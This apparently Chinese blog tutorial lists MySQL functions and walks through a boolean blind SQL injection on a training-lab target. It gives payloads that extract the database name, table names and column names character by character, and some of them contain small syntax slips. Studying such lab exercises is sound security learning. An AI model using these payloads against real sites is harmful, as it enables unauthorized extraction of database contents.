常用SQL函数

函数说明
mid(str, start, length)字符串截取 从第一个字节开始
substr(str, start, end)字符串截取 start从1开始
ord('str')将字符转换成ASCII码
length(str)统计字节长度
version()/@@version查看数据库版本
system_user()系统用户名
current_user()当前用户名
session_user()连接数据库的用户名
@@datadir数据库路径
@@basedir数据库安装路径
@@version_compile_os操作系统
concat(column1, column2)连接字符串
concat_ws(0x7e, column1, column2)或者concat_ws(':', column1, column2)指定分隔符连接字符串
SELECT GROUP_CONCAT(username) FROME users;连接一个组的所有字符串,并以逗号分隔每一条数据
database()查看数据库名
user()查看当前用户名
sleep(n)将程序挂起一段时间(睡眠)n秒
chr()将ASCII码转化为字符

拿墨者学院的SQL盲注做个列子

找到注入点

测试该注入点是整型还是字符型

直接加?id = 1 and 1=1 #返回正确的页面,确定是整型注入

猜测后台SQL语句为

SELECT * FROM 表名 WHERE id = 1;

猜解数据库名

猜解数据库名长度

要猜解当前数据库名字,首先猜解名字的长度

?id = 1 and length(database()) > 8 #

如果当前数据库名字长度大于即and 两个条件都成立,服务器会返回正确的页面

浏览器显示正确页面,说明库名长度大于8,再试试10

发现浏览器显示空白页面

最后猜解到长度 = 10的时候返回正确页面,说明库名长度为10

猜解数据库名

接下来就可以一个字符一个字符的猜解库名

?id = 1 and ord(mid(database(), 0, 1)) > 100

然后 不断的测试,发现当大于115的时候,浏览器显示空白页面,大于114时又能显示正确页面,那么可以得出库名第一个字符的ASCII码为115 ,查询ASCII码可以得出第一个字符为s. 然后后面字符猜解就如此类推

最后猜解出当前数据库名为stormgroup

猜解出数据库名就可以猜解表名长度、表名、字段长度、字段名,甚至是数据,也要这样一个一个字符猜解出来

猜解表

猜解表长度

猜解第一个表

?id=1 and (SELECT length(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0, 1) > 5

猜解第二个表

?id=1 and (SELECT length(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 1, 1) > 5

猜解表名

?id=1 and ascii(substr(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)) > 100

表名: member、notice

猜解字段

猜解字段长度

?id=1 and (SELECT length(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'member' and TABLE_SCHEMA=DATABASE() LIMIT 0,1) > 5

猜解字段名

?id=1 and ascii(substr(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'member' TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)) > 100

标签: SQL注入

添加新评论